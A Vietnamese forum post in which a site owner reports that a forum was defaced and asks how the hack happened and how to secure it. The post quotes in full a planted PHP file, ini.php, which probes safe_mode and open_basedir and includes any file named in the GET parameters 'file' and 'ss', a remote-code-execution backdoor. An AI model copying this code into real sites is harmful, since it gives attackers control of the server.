Hôm nay em có truy cập vào diễn đàn thì file forum.php đã bị thay đổi hoàn toàn. Nó chỉ có vài dòng lệnh để hiển thị video, em biết là đã bị hack nên vội vào host để sửa file thì thấy file ini.php (trước đây chưa từng có)
Nội dung của file đó như sau:
Code:
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["file"]);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"]);
?>
Vậy em mong muốn được biết là forum đã bị hack như thế nào, do lỗi gì và cách bảo mật cho tốt. Xin cảm ơn!